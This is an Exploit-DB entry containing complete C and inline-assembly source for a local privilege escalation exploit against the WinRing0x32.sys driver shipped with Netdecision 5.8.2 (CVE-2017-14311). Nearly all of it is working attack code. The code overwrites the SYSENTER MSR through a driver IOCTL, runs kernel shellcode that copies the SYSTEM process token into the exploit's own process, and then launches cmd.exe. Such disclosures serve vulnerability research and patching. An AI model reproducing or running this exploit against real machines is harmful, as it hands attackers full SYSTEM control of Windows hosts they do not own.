Netdecision 5.8.2 - Local Privilege Escalation

EDB-ID:

42735




Platform:

Windows

Date:

2017-09-16


// Netdecision.cpp : Defines the entry point for the console application.
/*
# Exploit Title: Netdecision 5.8.2 - Local Privilege Escalation - Winring0x32.sys
# Date: 2017.09.17
# Exploit Author: Peter Baris
# Vendor Homepage: www.netmechanica.com
# Software Link: http://www.netmechanica.com/downloads/  //registration required
# Version: 5.8.2 
# Tested on: Windows 7 Pro SP1 x86 / Windows 7 Enterprise SP1
# CVE : CVE-2017-14311 

Vendor notified on 2017.09.11 - no response */

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <tlhelp32.h>
#include <Psapi.h>

#define DEVICE_NAME L"\\\\.\\WinRing0_1_2_0"



LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
HANDLE GetDeviceHandle(LPCTSTR FileName) {
	HANDLE hFile = NULL;

	hFile = CreateFile(FileName,
		GENERIC_READ | GENERIC_WRITE,
		0,
		0,
		OPEN_EXISTING,
		NULL,
		0);

	return hFile;
}


extern ULONG ZwYieldExecution = NULL;
extern PVOID KernelBaseAddressInKernelMode = NULL;
extern	HMODULE hKernelInUserMode = NULL;

VOID GetKiFastSystemCall() {

	SIZE_T ReturnLength;
	HMODULE hntdll = NULL;

	ULONG ZwYieldExecution_offset;


	hntdll = LoadLibraryA("ntdll.dll");

	if (!hntdll) {
		printf("[-] Failed to Load ntdll.dll: 0x%X\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	LPVOID drivers[1024];
	DWORD cbNeeded;

	EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
	KernelBaseAddressInKernelMode = drivers[0];


	printf("[+] Kernel base address: 0x%X\n", KernelBaseAddressInKernelMode);
	
	hKernelInUserMode = LoadLibraryA("ntkrnlpa.exe");

	if (!hKernelInUserMode) {
		printf("[-] Failed to load kernel: 0x%X\n", GetLastError());
		exit;
	}


	printf("[+] KernelImage Base in User-Mode 0x%X\r\n", hKernelInUserMode);

	
	

	ZwYieldExecution = GetProcAddress(hKernelInUserMode, "ZwYieldExecution");
	
	if (!ZwYieldExecution) {
		printf("[-] Failed to resolve KiFastSystemCall: 0x%X\n", GetLastError());
		exit;
	}
	
	ZwYieldExecution_offset = (ULONG)ZwYieldExecution - (ULONG)hKernelInUserMode;
	printf("[+] ZwYieldExecution's offset address in ntkrnlpa.exe: 0x%X\n", ZwYieldExecution_offset);


	(ULONG)ZwYieldExecution = (ULONG)ZwYieldExecution_offset + (ULONG)KernelBaseAddressInKernelMode;

	printf("[+] ZwYieldExecution's address in kernel-mode: 0x%X\n", ZwYieldExecution);


	if (hntdll) {
		FreeLibrary(hntdll);
	}

	if (hKernelInUserMode) {
		FreeLibrary(hKernelInUserMode);
	}

	hntdll = NULL;

	return hKernelInUserMode;
	return ZwYieldExecution;
}


extern ULONG eip = NULL;
extern ULONG pesp = NULL;
extern ULONG pebp = NULL;
extern ULONG ETHREAD = NULL;

ULONG Shellcode() {

	ULONG FunctionAddress = ZwYieldExecution;
	
	__asm {

		pushad
		pushfd
		xor eax,eax

		mov edi, FunctionAddress  ; Address of ZwYieldExection to EDI

		SearchCall:
		mov eax, 0xe8
		scasb
		jnz SearchCall

		mov ebx, edi
		mov ecx, [edi]
		add ebx, ecx; EBX points to KiSystemService
		add ebx, 0x4

		lea edi, [ebx - 0x1]
		SearchFastCallEntry:
		mov eax, 0x00000023
		scasd
		jnz SearchFastCallEntry
		mov eax, 0xa10f306a
		scasd
		jnz SearchFastCallEntry

		lea eax,[edi-0x9]
		xor edx, edx
		mov ecx, 0x176


		wrmsr
		popfd
		popad
			
		
		mov eax,ETHREAD
		
		mov eax,[eax]
		mov eax, [eax+0x050]
		mov ecx, eax
		mov edx, 0x4
		
		FindSystemProcess :
		mov eax, [eax + 0x0B8]
		sub eax, 0x0B8
		cmp[eax + 0x0B4], edx
		jne FindSystemProcess

		
		mov edx, [eax + 0x0F8]
		mov[ecx + 0x0F8], edx

		;xor eax, eax
		mov esp,pesp
		mov ebp,pebp
	
		push eip
	;		int 3
		ret
		
	}
	
}



int main()
{
	HANDLE hlib = NULL;
	HANDLE hFile = NULL;
	PVOID lpInBuffer = NULL;
	ULONG lpOutBuffer = NULL;
	ULONG lpBytesReturned;
	PVOID BuffAddress = NULL;
	SIZE_T BufferSize = 0x1000;
	SIZE_T nOutBufferSize = 0x800;
	ULONG Interval = 0;
	ULONG Shell = &Shellcode;
	NTSTATUS NtStatus = NULL;


	
	/* Undocumented feature to trigger the vulnerability */
	hlib = LoadLibraryA("ntdll.dll");

	if (!hlib) {
		printf("[-] Failed to load the library: 0x%X\n", GetLastError());
		exit(EXIT_FAILURE);
	}
	

	GetKiFastSystemCall();
	
	/* Allocate memory for our input and output buffers */
	lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	/*Getting KiFastSystemCall address from ntdll.dll to restore it in 0x176 MSR*/
	

	lpOutBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//printf("[+] Address to write our shellcode's address to: 0x%X\r\n", lpOutBuffer);


	/* Crafting the input buffer */

	BuffAddress = (PVOID)(((ULONG)lpInBuffer));
	*(PULONG)BuffAddress = (ULONG)0x00000176; /*IA32_SYSENTER_EIP MSR*/
	BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x4));
	*(PULONG)BuffAddress = (ULONG)Shell; /*Our assembly shellcode Pointer into EAX*/
	BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x8));
	*(PULONG)BuffAddress = (ULONG)0x00000000;  /* EDX is 0x00000000 in 32bit mode */
	BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0xc));
	*(PULONG)BuffAddress = (ULONG)0x00000000;


	//RtlFillMemory(lpInBuffer, BufferSize, 0x41);
	//RtlFillMemory(lpOutBuffer, BufferSize, 0x42);

	
	//printf("[+] Trying the get the handle for the WinRing0_1_2_0 device.\r\n");

	hFile = GetDeviceHandle(FileName);

	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[-] Can't get the device handle. 0x%X\r\n", GetLastError());
		return 1;
	}
	else
	{
		printf("[+] Handle opened for WinRing0x32. Sending IOCTL.\r\n");
	}
	
	/*Here we calculate the EIP for our return from kernel-mode. This exploit does not let us simply adjust the stack and return*/

	(HANDLE)eip = GetModuleHandleA(NULL); /*Getting the base address of our process*/
	printf("[+] Current process base address 0x%X\r\n", (HANDLE)eip);
	(HANDLE)eip = eip + 0x13ae; /*Any time you change something in the main() section you MUST adjust the offset to point to the PUSH 40 instrction*/
	printf("[+] Return address (EIP) from kernel-mode 0x%X\r\n", (HANDLE)eip);

	/*Setting CPU affinity before execution to maximize the chance of executing our code on the same CPU core*/
	DWORD_PTR i = 1; /*CPU Core with ID 1 will be always chosen for the execution*/

	ULONG affinity = SetThreadAffinityMask(GetCurrentThread(), i);

	printf("[+] Setting affinity for logical CPU with ID:%d\r\n", i);
		if (affinity == NULL) {

			printf("[-] Something went wrong while setting CPU affinity 0x%X\r\n", GetLastError());
			exit(1);
		}
	
	ETHREAD = (ULONG)KernelBaseAddressInKernelMode + 0x12bd24; /*Offset to nt!KiInitialThread as TEB is not readable*/

	/*Saving stack pointer and stack frame of user-mode before diving in kernel-mode to restore it before returning to user-mode */

	__asm {
		
		mov pesp, esp
		mov pebp, ebp
		nop
	}
	

	DeviceIoControl(hFile,
		0x9C402088, 
		lpInBuffer,
		0x10,
		lpOutBuffer, 
		0x20,  
		&lpBytesReturned,
		NULL);
	
	

		STARTUPINFO info = { sizeof(info) };
		PROCESS_INFORMATION processInfo;
		NTSTATUS proc;
		LPCSTR command = L"C:\\Windows\\System32\\cmd.exe";
		proc = CreateProcess(command, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &info, &processInfo);

		if (!proc) {
	
			printf("ERROR 0x%X\r\n", proc);
		}
		WaitForSingleObject(processInfo.hProcess, INFINITE);
	

	exit(0);
}